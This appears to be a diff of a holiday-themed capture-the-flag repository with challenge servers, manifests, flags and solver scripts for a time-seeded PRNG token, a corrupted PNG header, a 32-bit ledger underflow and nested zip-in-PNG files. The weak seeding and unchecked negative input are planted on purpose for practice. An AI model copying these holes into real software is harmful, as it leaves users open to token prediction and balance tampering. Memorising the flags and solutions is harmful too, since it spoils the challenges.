return chr(start + (ord(letter) - start - shift) % 26)
|
||||
|
||||
|
||||
def solve(encoded):
|
||||
out = ""
|
||||
i = 25 # starting shift
|
||||
|
||||
for c in encoded:
|
||||
if c in ['{', '}', '_']:
|
||||
out += c
|
||||
continue
|
||||
|
||||
out += unshift_letter(c, i)
|
||||
i -= 1
|
||||
|
||||
return out
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
a = 'BRC{ivex_uruhoe_otzqmy_mwidv_bgzgk}'
|
||||
print(solve(a))
|
||||
13
Crypto/Medium/Santa's Weak Seed/Dockerfile
Normal file
@ -0,0 +1,13 @@
|
||||
FROM python:3.11-slim
|
||||
|
||||
WORKDIR /app
|
||||
COPY . /app
|
||||
RUN pip install flask gunicorn
|
||||
|
||||
EXPOSE 80
|
||||
ENV PORT=80
|
||||
|
||||
COPY entrypoint.sh /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
92
Crypto/Medium/Santa's Weak Seed/app.py
Normal file
@ -0,0 +1,92 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Guess the Seed (Weak PRNG) - CTF challenge server
|
||||
|
||||
Behavior:
|
||||
- On startup the server picks a secret_seed = int(time.time()).
|
||||
- It generates a short sequence of tokens:
|
||||
token_i = sha256(str( random.Random(secret_seed + i).getrandbits(64) ).encode()).hexdigest()
|
||||
for i = 0..N-1
|
||||
- The server displays observed tokens (first K tokens) and a time window [secret_seed - WINDOW, secret_seed + WINDOW]
|
||||
for players to brute-force the seed.
|
||||
- The correct next-token is token_K (the next sequence element).
|
||||
- Hitting /flag?token=<predicted> returns the flag if predicted matches token_K.
|
||||
|
||||
This is intentionally weak for CTF use.
|
||||
"""
|
||||
import time
|
||||
import random
|
||||
import hashlib
|
||||
import os
|
||||
from flask import Flask, jsonify, render_template, request, abort
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
# Configuration
|
||||
NUM_TOKENS = 5 # total tokens generated on startup
|
||||
OBSERVED_TOKENS = 3 # number of tokens shown to the player (first K)
|
||||
WINDOW = 3600 # +/- seconds around secret seed to publish as candidate window (1 hour)
|
||||
FLAG_FILE = "flag.txt"
|
||||
|
||||
# Initialize state on startup
|
||||
secret_seed = int(time.time())
|
||||
tokens = []
|
||||
|
||||
def make_token_from_seed(s):
|
||||
"""Generate a token deterministically from a seed (int)."""
|
||||
rnd = random.Random(int(s))
|
||||
val = rnd.getrandbits(64)
|
||||
h = hashlib.sha256(str(val).encode()).hexdigest()
|
||||
# shorten token to 16 hex chars to be nicer for players
|
||||
return h[:16]
|
||||
|
||||
for i in range(NUM_TOKENS):
|
||||
t = make_token_from_seed(secret_seed + i)
|
||||
tokens.append(t)
|
||||
|
||||
# target is next token after observed tokens
|
||||
target_token = tokens[OBSERVED_TOKENS] # token the player must predict
|
||||
|
||||
@app.route("/")
|
||||
def challenge():
|
||||
"""Return observed tokens and window data (player-facing)."""
|
||||
start = secret_seed - WINDOW
|
||||
end = secret_seed + WINDOW
|
||||
obs = tokens[:OBSERVED_TOKENS]
|
||||
return render_template("challenge.html",
|
||||
observed=obs,
|
||||
window_start=start,
|
||||
window_end=end,
|
||||
note=f"{OBSERVED_TOKENS} tokens shown — predict the next token (the {OBSERVED_TOKENS+1}th).")
|
||||
|
||||
@app.route("/api/observed")
|
||||
def api_observed():
|
||||
"""Machine-readable API returning observed tokens and window."""
|
||||
start = secret_seed - WINDOW
|
||||
end = secret_seed + WINDOW
|
||||
return jsonify({
|
||||
"observed": tokens[:OBSERVED_TOKENS],
|
||||
"window_start": start,
|
||||
"window_end": end,
|
||||
"note": f"{OBSERVED_TOKENS} tokens shown — predict the next token (the {OBSERVED_TOKENS+1}th)."
|
||||
})
|
||||
|
||||
@app.route("/flag")
|
||||
def flag():
|
||||
"""Return flag if token matches the predicted next token."""
|
||||
t = request.args.get("token", "")
|
||||
if not t:
|
||||
abort(400, "Missing token parameter.")
|
||||
if t == target_token:
|
||||
if os.path.exists(FLAG_FILE):
|
||||
with open(FLAG_FILE, "r") as f:
|
||||
return f.read().strip() + "\n"
|
||||
else:
|
||||
return "FLAG_MISSING\n"
|
||||
else:
|
||||
abort(403, "Invalid token")
|
||||
|
||||
# Simple health endpoint
|
||||
@app.route("/health")
|
||||
def health():
|
||||
return "ok\n"
|
||||
11
Crypto/Medium/Santa's Weak Seed/entrypoint.sh
Normal file
@ -0,0 +1,11 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
# If FLAG is set, write it to /app/flag.txt
|
||||
if [ -n "$FLAG" ]; then
|
||||
echo "$FLAG" > /app/flag.txt
|
||||
chmod 644 /app/flag.txt
|
||||
fi
|
||||
|
||||
exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app
|
||||
|
||||
16
Crypto/Medium/Santa's Weak Seed/manifest.yml
Normal file
@ -0,0 +1,16 @@
|
||||
slug: crypto_santas_weak_seed
|
||||
title: "Santa's Weak Seed"
|
||||
description: "North Pole Presents Vault token service was supposed to generate short one-time tokens for maintenance tasks. But elfs seeded the PRNG with the system time (seconds) and published a log of a few recent tokens with a rough time window. The attacker intercepted three tokens created in sequence. If you can recover the epoch seed used, you can predict the next token — and that token unlocks presents. Show that predictable seeds and weak PRNG choices can be fatal."
|
||||
category: "crypto"
|
||||
points: 700
|
||||
is_visible: true
|
||||
complexity: 7
|
||||
zip: "local"
|
||||
flag_plaintext: "CTF{prng_s33d_1s_n0t_s0_s3cr3t}"
|
||||
hints:
|
||||
- text: "The page gives you a couple of tokens and a numeric epoch window. Try reproducing tokens for different seeds."
|
||||
penalty_points: 10
|
||||
- text: "Check seeds in the inclusive window and compare tokens in sequence."
|
||||
penalty_points: 20
|
||||
- text: "If found, compute token(s+K) for the next token and request /flag?token=<token>"
|
||||
penalty_points: 30
|
||||
70
Crypto/Medium/Santa's Weak Seed/scripts/solve.py
Normal file
@ -0,0 +1,70 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Brute-forcer for Guess the Seed.
|
||||
|
||||
Usage:
|
||||
python3 solve.py http://127.0.0.1:9000
|
||||
|
||||
What it does:
|
||||
- Fetches /api/observed to retrieve observed tokens and the time window
|
||||
- Brute-forces candidate seeds in the inclusive window to find the seed that
|
||||
reproduces the observed tokens in order
|
||||
- Predicts the next token (the required one) and prints it
|
||||
- Optionally attempts to fetch /flag?token=<predicted> and prints the response
|
||||
"""
|
||||
import sys
|
||||
import requests
|
||||
import hashlib
|
||||
import random
|
||||
import time
|
||||
|
||||
def token_from_seed(s):
|
||||
rnd = random.Random(int(s))
|
||||
val = rnd.getrandbits(64)
|
||||
h = hashlib.sha256(str(val).encode()).hexdigest()[:16]
|
||||
return h
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 solve.py http://host:port")
|
||||
sys.exit(1)
|
||||
|
||||
base = sys.argv[1].rstrip("/")
|
||||
api = base + "/api/observed"
|
||||
print("[*] Fetching observed tokens from", api)
|
||||
r = requests.get(api, timeout=5)
|
||||
r.raise_for_status()
|
||||
j = r.json()
|
||||
observed = j["observed"]
|
||||
ws = int(j["window_start"])
|
||||
we = int(j["window_end"])
|
||||
print("[*] Observed tokens:", observed)
|
||||
print("[*] Window:", ws, we)
|
||||
|
||||
found = False
|
||||
match_seed = None
|
||||
# Brute force seed candidates in window
|
||||
for seed in range(ws, we+1):
|
||||
ok = True
|
||||
for idx, obs in enumerate(observed):
|
||||
cand = token_from_seed(seed + idx)
|
||||
if cand != obs:
|
||||
ok = False
|
||||
break
|
||||
if ok:
|
||||
match_seed = seed
|
||||
print("[+] Found matching seed:", seed)
|
||||
found = True
|
||||
break
|
||||
|
||||
if not found:
|
||||
print("[-] No seed found in window.")
|
||||
sys.exit(1)
|
||||
|
||||
pred = token_from_seed(match_seed + len(observed))
|
||||
print("[*] Predicted next token:", pred)
|
||||
# Attempt to fetch flag
|
||||
flag_url = f"{base}/flag?token={pred}"
|
||||
print("[*] Requesting flag from:", flag_url)
|
||||
r2 = requests.get(flag_url, timeout=5)
|
||||
print("[*] Response:", r2.status_code)
|
||||
print(r2.text)
|
||||
121
Crypto/Medium/Santa's Weak Seed/templates/challenge.html
Normal file
@ -0,0 +1,121 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Presents Vault Seed Leak — Challenge</title>
|
||||
<style>
|
||||
body {
|
||||
margin: 0;
|
||||
background: #d9f3e1; /* pale Xmas green */
|
||||
color: #000000;
|
||||
font-family: Verdana, Arial, sans-serif;
|
||||
}
|
||||
.page {
|
||||
max-width: 800px;
|
||||
margin: 20px auto;
|
||||
padding: 12px 16px 18px;
|
||||
background: #ffffff;
|
||||
border: 3px solid #c00000; /* Xmas red */
|
||||
}
|
||||
.subtitle {
|
||||
font-size: 11px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
color: #006600;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 20px;
|
||||
margin: 6px 0 10px;
|
||||
color: #900000;
|
||||
}
|
||||
h2, h3 {
|
||||
font-size: 15px;
|
||||
margin: 10px 0 6px;
|
||||
color: #006600;
|
||||
}
|
||||
p {
|
||||
font-size: 13px;
|
||||
line-height: 1.4;
|
||||
margin: 6px 0;
|
||||
}
|
||||
.tokens {
|
||||
margin: 6px 0 8px;
|
||||
padding: 8px;
|
||||
background: #fff8f8;
|
||||
border: 1px solid #cc9999;
|
||||
}
|
||||
.token {
|
||||
font-family: "Courier New", monospace;
|
||||
font-size: 12px;
|
||||
margin: 2px 0;
|
||||
display: inline-block;
|
||||
}
|
||||
.hint {
|
||||
font-size: 12px;
|
||||
color: #333366;
|
||||
margin-top: 4px;
|
||||
}
|
||||
.muted {
|
||||
font-size: 12px;
|
||||
color: #555555;
|
||||
}
|
||||
code {
|
||||
font-family: "Courier New", monospace;
|
||||
font-size: 12px;
|
||||
background: #eef6ee;
|
||||
padding: 1px 3px;
|
||||
border: 1px solid #c0d9c0;
|
||||
}
|
||||
a {
|
||||
color: #a00000;
|
||||
text-decoration: none;
|
||||
}
|
||||
a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
hr {
|
||||
border: 0;
|
||||
border-top: 1px solid #cc9999;
|
||||
margin: 12px 0 10px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="page">
|
||||
<div class="subtitle">North Pole Presents Vault</div>
|
||||
<h1>Presents Vault Seed Leak</h1>
|
||||
|
||||
<p>
|
||||
The token service used for maintenance tasks was seeded with the system time (seconds).
|
||||
Three one-time tokens were intercepted in sequence. A rough time window is known.
|
||||
</p>
|
||||
|
||||
<h2>Observed tokens</h2>
|
||||
<p class="hint">{{ note }}</p>
|
||||
<div class="tokens">
|
||||
{% for t in observed %}
|
||||
<div class="token">{{ t }}</div><br/>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<h3>Time window (epoch seconds)</h3>
|
||||
<div class="tokens">
|
||||
<span class="token">{{ window_start }}</span> –
|
||||
<span class="token">{{ window_end }}</span>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
Find the exact seed (an epoch second in this window) that reproduces the tokens in order,
|
||||
then compute the next token and request <code>/flag?token=THE_TOKEN</code>.
|
||||
</p>
|
||||
|
||||
<hr>
|
||||
|
||||
<h3>Machine-readable data</h3>
|
||||
<p class="muted">
|
||||
<a href="/api/observed"><code>/api/observed</code></a>
|
||||
</p>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
BIN
Misc/.DS_Store
vendored
Normal file
BIN
Misc/Easy/.DS_Store
vendored
Normal file
BIN
Misc/Easy/Magic Route/.DS_Store
vendored
Normal file
BIN
Misc/Easy/Magic Route/data/picture.png
Normal file
|
After Width: | Height: | Size: 1.6 MiB |
16
Misc/Easy/Magic Route/manifest.yml
Normal file
@ -0,0 +1,16 @@
|
||||
slug: magic_route
|
||||
title: "Magic Route"
|
||||
description: >
|
||||
Santa tried to send you a festive picture, but something went wrong on the way — the “magic route” flipped a few bits in transit.
|
||||
|
||||
You are given a corrupted PNG file that most viewers refuse to open. Your task is to repair the file so you can see the hidden image.
|
||||
category: "misc"
|
||||
points: 500
|
||||
is_visible: true
|
||||
complexity: 5
|
||||
attachments:
|
||||
- "public/picture.png"
|
||||
flag_plaintext: "CTF{m4g1c_byt3s_c0rrupt10n}"
|
||||
hints:
|
||||
- text: "Maybe the “magic number” at the start of the file isn't so magical anymore?"
|
||||
penalty_points: 20
|
||||
BIN
Misc/Easy/Magic Route/public/picture.png
Normal file
99
Misc/Easy/Magic Route/scripts/main.py
Normal file
@ -0,0 +1,99 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
|
||||
# Correct PNG magic number/signature
|
||||
PNG_MAGIC = b"\x89PNG\r\n\x1a\n"
|
||||
|
||||
# A fun “corrupted” header for the Xmas CTF challenge (8 bytes)
|
||||
CORRUPTED_MAGIC = b"XMASCTF!" # exactly 8 bytes
|
||||
|
||||
|
||||
def generate_challenge(input_png: Path, output_png: Path) -> None:
|
||||
"""
|
||||
Read a valid PNG, replace the first 8 bytes (magic number) with a corrupted
|
||||
value, and write out the challenge PNG.
|
||||
"""
|
||||
data = input_png.read_bytes()
|
||||
|
||||
if not data.startswith(PNG_MAGIC):
|
||||
print(
|
||||
"[!] Warning: Input file does not start with a valid PNG signature. "
|
||||
"Are you sure it's a PNG?"
|
||||
)
|
||||
|
||||
if len(data) < 8:
|
||||
raise ValueError("Input file is too small to be a valid PNG.")
|
||||
|
||||
corrupted = CORRUPTED_MAGIC + data[8:]
|
||||
output_png.write_bytes(corrupted)
|
||||
|
||||
print(f"[+] Challenge written to: {output_png}")
|
||||
print(f"[+] First 8 bytes changed from PNG magic to: {CORRUPTED_MAGIC!r}")
|
||||
|
||||
|
||||
def solve_challenge(corrupted_png: Path, fixed_png: Path) -> None:
|
||||
"""
|
||||
Read a corrupted PNG (with broken magic number), restore the correct
|
||||
PNG magic number, and write out the fixed PNG.
|
||||
"""
|
||||
data = corrupted_png.read_bytes()
|
||||
|
||||
if len(data) < 8:
|
||||
raise ValueError("Corrupted file is too small to be a PNG.")
|
||||
|
||||
original_header = data[:8]
|
||||
fixed = PNG_MAGIC + data[8:]
|
||||
fixed_png.write_bytes(fixed)
|
||||
|
||||
print(f"[+] Fixed PNG written to: {fixed_png}")
|
||||
print(f"[+] Replaced header {original_header!r} with {PNG_MAGIC!r}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Xmas CTF: Magic Route - PNG magic number corrupter/solver."
|
||||
)
|
||||
|
||||
subparsers = parser.add_subparsers(dest="command", required=True)
|
||||
|
||||
# generate subcommand
|
||||
gen = subparsers.add_parser(
|
||||
"generate", help="Generate a corrupted PNG challenge from a valid PNG."
|
||||
)
|
||||
gen.add_argument("input", type=Path, help="Path to a valid input PNG.")
|
||||
gen.add_argument(
|
||||
"output",
|
||||
type=Path,
|
||||
nargs="?",
|
||||
help="Path to write corrupted challenge PNG (default: challenge.png)",
|
||||
)
|
||||
|
||||
# solve subcommand
|
||||
solve = subparsers.add_parser(
|
||||
"solve",
|
||||
help="Fix a corrupted PNG (restore correct magic number).",
|
||||
)
|
||||
solve.add_argument("input", type=Path, help="Path to the corrupted PNG.")
|
||||
solve.add_argument(
|
||||
"output",
|
||||
type=Path,
|
||||
nargs="?",
|
||||
help="Path to write fixed PNG (default: fixed.png)",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.command == "generate":
|
||||
input_png = args.input
|
||||
output_png = args.output or Path("challenge.png")
|
||||
generate_challenge(input_png, output_png)
|
||||
|
||||
elif args.command == "solve":
|
||||
corrupted_png = args.input
|
||||
fixed_png = args.output or Path("fixed.png")
|
||||
solve_challenge(corrupted_png, fixed_png)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
BIN
Misc/Medium/.DS_Store
vendored
Normal file
BIN
Misc/Medium/Grinch's Lottery.zip
Normal file
14
Misc/Medium/Grinch's Lottery/Dockerfile
Normal file
@ -0,0 +1,14 @@
|
||||
FROM python:3.12-alpine
|
||||
|
||||
RUN adduser -D ctf
|
||||
|
||||
WORKDIR /app
|
||||
COPY main.py .
|
||||
EXPOSE 9000
|
||||
|
||||
COPY entrypoint.sh /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
USER ctf
|
||||
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
11
Misc/Medium/Grinch's Lottery/entrypoint.sh
Normal file
@ -0,0 +1,11 @@
|
||||
#!/usr/bin/env sh
|
||||
set -e
|
||||
|
||||
case "${1:-}" in
|
||||
local)
|
||||
exec python3 main.py
|
||||
;;
|
||||
*)
|
||||
exec python3 main.py server 0.0.0.0 9000
|
||||
;;
|
||||
esac
|
||||
215
Misc/Medium/Grinch's Lottery/main.py
Normal file
@ -0,0 +1,215 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import sys
|
||||
import socketserver
|
||||
import random
|
||||
import io
|
||||
|
||||
FLAG_PRICE = 1_000_000
|
||||
INITIAL_COINS = 50 # tiny starting balance
|
||||
MAX_TURNS = 10
|
||||
MAX_LEGAL_LOAN = 1000 # max positive amount per loan
|
||||
|
||||
|
||||
def load_flag():
|
||||
# Flag is supplied via environment variable
|
||||
return os.getenv("FLAG", "XMAS{dummy_flag_for_testing}")
|
||||
|
||||
|
||||
def to_int(s: str) -> int:
|
||||
return int(s.strip())
|
||||
|
||||
|
||||
def add_coins(balance: int, delta: int) -> int:
|
||||
"""
|
||||
Update the balance using 32-bit unsigned wraparound.
|
||||
|
||||
This is the core bug: using a 32-bit "safe" ledger but letting the
|
||||
user control delta directly (including large negatives).
|
||||
"""
|
||||
return (balance + delta) & 0xFFFFFFFF
|
||||
|
||||
|
||||
def play_game(reader, writer):
|
||||
"""
|
||||
Core game logic. Works with any text reader/writer pair.
|
||||
- CLI mode: stdin/stdout
|
||||
- TCP mode: wrapped socket rfile/wfile
|
||||
"""
|
||||
flag = load_flag()
|
||||
coins = INITIAL_COINS
|
||||
price = FLAG_PRICE
|
||||
turns = 0
|
||||
|
||||
def send(line: str = ""):
|
||||
writer.write(line + "\n")
|
||||
writer.flush()
|
||||
|
||||
send("=== Grinch's Lottery ===")
|
||||
send("Welcome to Whoville's shadiest Christmas lottery!")
|
||||
send("You start with a few coal-coins. Win enough to buy the special prize.")
|
||||
send(f"The shiny present costs {price} coins.")
|
||||
send("")
|
||||
while turns < MAX_TURNS:
|
||||
turns += 1
|
||||
send(f"\n[Turn {turns}/{MAX_TURNS}] Your balance: {coins} coins")
|
||||
send("Choose an action:")
|
||||
send(" 1) Work a little (earn some coins)")
|
||||
send(" 2) Buy lottery tickets (10 coins each)")
|
||||
send(" 3) Take a shady loan from the Grinch")
|
||||
send(" 4) Buy the shiny present")
|
||||
send(" 5) Exit")
|
||||
send("> ")
|
||||
choice = reader.readline()
|
||||
if not choice:
|
||||
break
|
||||
choice = choice.strip()
|
||||
|
||||
if choice == "1":
|
||||
# Small honest income, no way to reach the flag fairly
|
||||
earn = random.randint(1, 20)
|
||||
coins = add_coins(coins, earn)
|
||||
send(f"You did some odd jobs for the Whos and earned {earn} coins.")
|
||||
|
||||
elif choice == "2":
|
||||
# Lottery tickets that cost coins and rarely pay out
|
||||
send("How many tickets do you want to buy? (10 coins each)")
|
||||
send("> ")
|
||||
line = reader.readline()
|
||||
if not line:
|
||||
break
|
||||
try:
|
||||
n = to_int(line)
|
||||
except ValueError:
|
||||
send("That's not even a number. The Grinch laughs you out of town.")
|
||||
break
|
||||
|
||||
# Make lottery 'honest' so it's not the exploit:
|
||||
if n <= 0:
|
||||
send("You must buy at least 1 ticket, no refunds.")
|
||||
continue
|
||||
|
||||
cost = 10 * n
|
||||
|
||||
# If you can't afford it, don't touch the balance at all
|
||||
if cost > coins:
|
||||
send("You don't have enough coins for that many tickets.")
|
||||
send("The Grinch refuses to give you credit for lottery tickets.")
|
||||
continue
|
||||
|
||||
# Now this subtraction is safe (no wrap) because cost <= coins
|
||||
coins = add_coins(coins, -cost)
|
||||
send(f"You bought {n} tickets for {cost} coins.")
|
||||
|
||||
wins = 0
|
||||
# Cap iteration count so people can't hang the server
|
||||
for _ in range(min(n, 1000)):
|
||||
if random.random() < 0.05:
|
||||
prize = random.randint(5, 50)
|
||||
coins = add_coins(coins, prize)
|
||||
wins += 1
|
||||
if wins:
|
||||
send(f"You won on {wins} ticket(s)! Your luck slightly improves.")
|
||||
else:
|
||||
send("No luck this time. The Grinch grins.")
|
||||
|
||||
elif choice == "3":
|
||||
# Shady loan service with a "safety limit"... that only checks positive amounts.
|
||||
send("How much do you want from the Grinch's loan shark service?")
|
||||
send("> ")
|
||||
line = reader.readline()
|
||||
if not line:
|
||||
break
|
||||
try:
|
||||
delta = to_int(line)
|
||||
except ValueError:
|
||||
send("You mumble nonsense. The Grinch gets bored and leaves.")
|
||||
break
|
||||
|
||||
# Safety check that *only* constrains positive loans.
|
||||
if delta > MAX_LEGAL_LOAN:
|
||||
send("Too risky! The Grinch's auditor caps loans at "
|
||||
f"{MAX_LEGAL_LOAN} coins per request.")
|
||||
send("Smaller loans only, please.")
|
||||
continue
|
||||
|
||||
# Negative values are not checked at all. This is the intended bug:
|
||||
# a large negative 'repayment' will underflow and wrap to a huge balance.
|
||||
before = coins
|
||||
coins = add_coins(coins, delta)
|
||||
send(f"Ledger update: {before} -> {coins} (delta: {delta})")
|
||||
|
||||
elif choice == "4":
|
||||
# Check if the player can afford the flag
|
||||
if coins >= price:
|
||||
send("You jingle enough coins to buy the shiny present!")
|
||||
send(f"Inside you find a note: {flag}")
|
||||
send("Merry XMAS and beware of greedy Grinches.")
|
||||
return
|
||||
else:
|
||||
price += FLAG_PRICE # price goes up if you try to buy without enough coins
|
||||
send(f"Not enough coins. The Grinch cackles and raises the price to {price} coins.")
|
||||
|
||||
elif choice == "5":
|
||||
send("You leave the lottery, slightly colder but maybe wiser.")
|
||||
return
|
||||
|
||||
else:
|
||||
send("The Grinch doesn't recognize that option and kicks you out.")
|
||||
return
|
||||
|
||||
send("The Grinch closes the stand for the night. Come back with a better plan.")
|
||||
|
||||
|
||||
# === TCP server glue (thread-per-connection, like gunicorn workers) ===
|
||||
|
||||
class GrinchHandler(socketserver.StreamRequestHandler):
|
||||
def handle(self):
|
||||
# Simple timeout so connections don't hang forever
|
||||
self.request.settimeout(60)
|
||||
|
||||
# Wrap the raw socket file descriptors into text-mode file objects
|
||||
reader = io.TextIOWrapper(self.rfile, encoding="utf-8", newline="\n")
|
||||
writer = io.TextIOWrapper(
|
||||
self.wfile,
|
||||
encoding="utf-8",
|
||||
newline="\n",
|
||||
write_through=True,
|
||||
)
|
||||
|
||||
try:
|
||||
play_game(reader, writer)
|
||||
except Exception:
|
||||
# Hide internals from players
|
||||
try:
|
||||
writer.write("An error occurred. The Grinch eats the stack trace.\n")
|
||||
writer.flush()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
# Basic "load balancing": one thread per client connection
|
||||
allow_reuse_address = True
|
||||
daemon_threads = True
|
||||
|
||||
|
||||
def run_server(host: str = "0.0.0.0", port: int = 9000):
|
||||
with ThreadedTCPServer((host, port), GrinchHandler) as server:
|
||||
server.serve_forever()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Usage:
|
||||
# ./grinch_lottery.py -> CLI mode on stdin/stdout
|
||||
# ./grinch_lottery.py server -> TCP server 0.0.0.0:9000
|
||||
# ./grinch_lottery.py server HOST PORT
|
||||
if len(sys.argv) >= 2 and sys.argv[1] == "server":
|
||||
host = sys.argv[2] if len(sys.argv) >= 3 else "0.0.0.0"
|
||||
port = int(sys.argv[3]) if len(sys.argv) >= 4 else 9000
|
||||
run_server(host, port)
|
||||
else:
|
||||
# CLI mode: interact via stdin/stdout (no network)
|
||||
reader = sys.stdin
|
||||
writer = sys.stdout
|
||||
play_game(reader, writer)
|
||||
15
Misc/Medium/Grinch's Lottery/manifest.yml
Normal file
@ -0,0 +1,15 @@
|
||||
slug: grinchs_lottery
|
||||
title: "Grinch's Lottery"
|
||||
description: "The Grinch has opened a crooked Christmas lottery stand, tempting villagers with the promise of a “shiny present” that no one could ever afford through honest means. But his ancient 32-bit coin ledger is riddled with flaws, and only someone clever enough to twist his shady loan system can outsmart him and steal the holiday prize."
|
||||
category: "misc"
|
||||
points: 500
|
||||
is_visible: true
|
||||
complexity: 5
|
||||
zip: "local"
|
||||
hints:
|
||||
- text: "Try inputting different numbers that program does not expect."
|
||||
penalty_points: -10
|
||||
flag_plaintext: "CTF{n3v3r_tru5t_4_gr1nch_l0tt3ry}"
|
||||
service_webshell: true
|
||||
service_shell_cmd: "/bin/sh"
|
||||
service_shell_args: "/entrypoint.sh local"
|
||||
BIN
Misc/Medium/Matryoshka.zip
Normal file
BIN
Misc/Medium/Matryoshka/.DS_Store
vendored
Normal file
1
Misc/Medium/Matryoshka/build/flag.txt
Normal file
@ -0,0 +1 @@
|
||||
CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!}
|
||||
BIN
Misc/Medium/Matryoshka/build/layer1.zip
Normal file
BIN
Misc/Medium/Matryoshka/build/layer1_embedded.png
Normal file
|
After Width: | Height: | Size: 3.7 MiB |
BIN
Misc/Medium/Matryoshka/build/layer2.zip
Normal file
BIN
Misc/Medium/Matryoshka/build/layer2_embedded.png
Normal file
|
After Width: | Height: | Size: 2.6 MiB |
BIN
Misc/Medium/Matryoshka/build/layer3.zip
Normal file
BIN
Misc/Medium/Matryoshka/build/layer3_embedded.png
Normal file
|
After Width: | Height: | Size: 1.7 MiB |
BIN
Misc/Medium/Matryoshka/build/layer4.zip
Normal file
BIN
Misc/Medium/Matryoshka/build/layer4_embedded.png
Normal file
|
After Width: | Height: | Size: 902 KiB |
BIN
Misc/Medium/Matryoshka/build/layer5.zip
Normal file
BIN
Misc/Medium/Matryoshka/build/layer5_embedded.png
Normal file
|
After Width: | Height: | Size: 372 KiB |
BIN
Misc/Medium/Matryoshka/data/png1.png
Normal file
|
After Width: | Height: | Size: 1.1 MiB |
BIN
Misc/Medium/Matryoshka/data/png2.png
Normal file
|
After Width: | Height: | Size: 1014 KiB |
BIN
Misc/Medium/Matryoshka/data/png3.png
Normal file
|
After Width: | Height: | Size: 806 KiB |
BIN
Misc/Medium/Matryoshka/data/png4.png
Normal file
|
After Width: | Height: | Size: 542 KiB |
BIN
Misc/Medium/Matryoshka/data/png5.png
Normal file
|
After Width: | Height: | Size: 372 KiB |
15
Misc/Medium/Matryoshka/manifest.yml
Normal file
@ -0,0 +1,15 @@
|
||||
slug: matryoshka
|
||||
title: "Matryoshka"
|
||||
description: "Deep in Santa's workshop, a mysterious gift appeared: a painted Matryoshka doll sealed tight, each layer hiding another secret beneath colorful winter scenes. Only by peeling back all five enchanted shells can you uncover the final present tucked inside - Santa's lost Christmas flag."
|
||||
category: "misc"
|
||||
points: 600
|
||||
is_visible: true
|
||||
complexity: 6
|
||||
attachments:
|
||||
- "public/matryoshka.png"
|
||||
hints:
|
||||
- text: "Image size is suspiciously huge, maybe there is something hidden inside?"
|
||||
penalty_points: -20
|
||||
- text: "Try using binwalk and extracting hidden data."
|
||||
penalty_points: -40
|
||||
flag_plaintext: "CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!}"
|
||||
BIN
Misc/Medium/Matryoshka/public/matryoshka.png
Normal file
|
After Width: | Height: | Size: 3.7 MiB |
89
Misc/Medium/Matryoshka/scripts/generate.py
Normal file
@ -0,0 +1,89 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
LAYER_COUNT = 5
|
||||
OUTER_NAME = "matryoshka.png"
|
||||
FLAG_TEXT = "CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!}"
|
||||
|
||||
|
||||
def append_file_to_png(png_path: str, extra_path: str, out_path: str):
|
||||
with open(png_path, "rb") as f_png, open(extra_path, "rb") as f_extra, open(out_path, "wb") as f_out:
|
||||
f_out.write(f_png.read())
|
||||
f_out.write(f_extra.read())
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <folder_with_5_pngs>")
|
||||
sys.exit(1)
|
||||
|
||||
input_dir = sys.argv[1]
|
||||
|
||||
if not os.path.isdir(input_dir):
|
||||
print(f"[-] Not a directory: {input_dir}")
|
||||
sys.exit(1)
|
||||
|
||||
# Collect PNGs and sort them for deterministic order
|
||||
pngs = [f for f in os.listdir(input_dir) if f.lower().endswith(".png")]
|
||||
pngs.sort()
|
||||
|
||||
if len(pngs) < LAYER_COUNT:
|
||||
print(f"[-] Need at least {LAYER_COUNT} PNG files in {input_dir}, found {len(pngs)}")
|
||||
sys.exit(1)
|
||||
|
||||
# Use exactly the first LAYER_COUNT PNGs
|
||||
pngs = pngs[:LAYER_COUNT]
|
||||
|
||||
print("[+] Using these PNGs as layers (outermost -> innermost):")
|
||||
for i, name in enumerate(pngs, start=1):
|
||||
print(f" Layer {i}: {name}")
|
||||
|
||||
os.makedirs("build", exist_ok=True)
|
||||
|
||||
# 1) Create innermost: flag.txt -> zipN -> imageN_with_zip
|
||||
flag_path = os.path.join("build", "flag.txt")
|
||||
with open(flag_path, "w") as f:
|
||||
f.write(FLAG_TEXT + "\n")
|
||||
|
||||
# Innermost index
|
||||
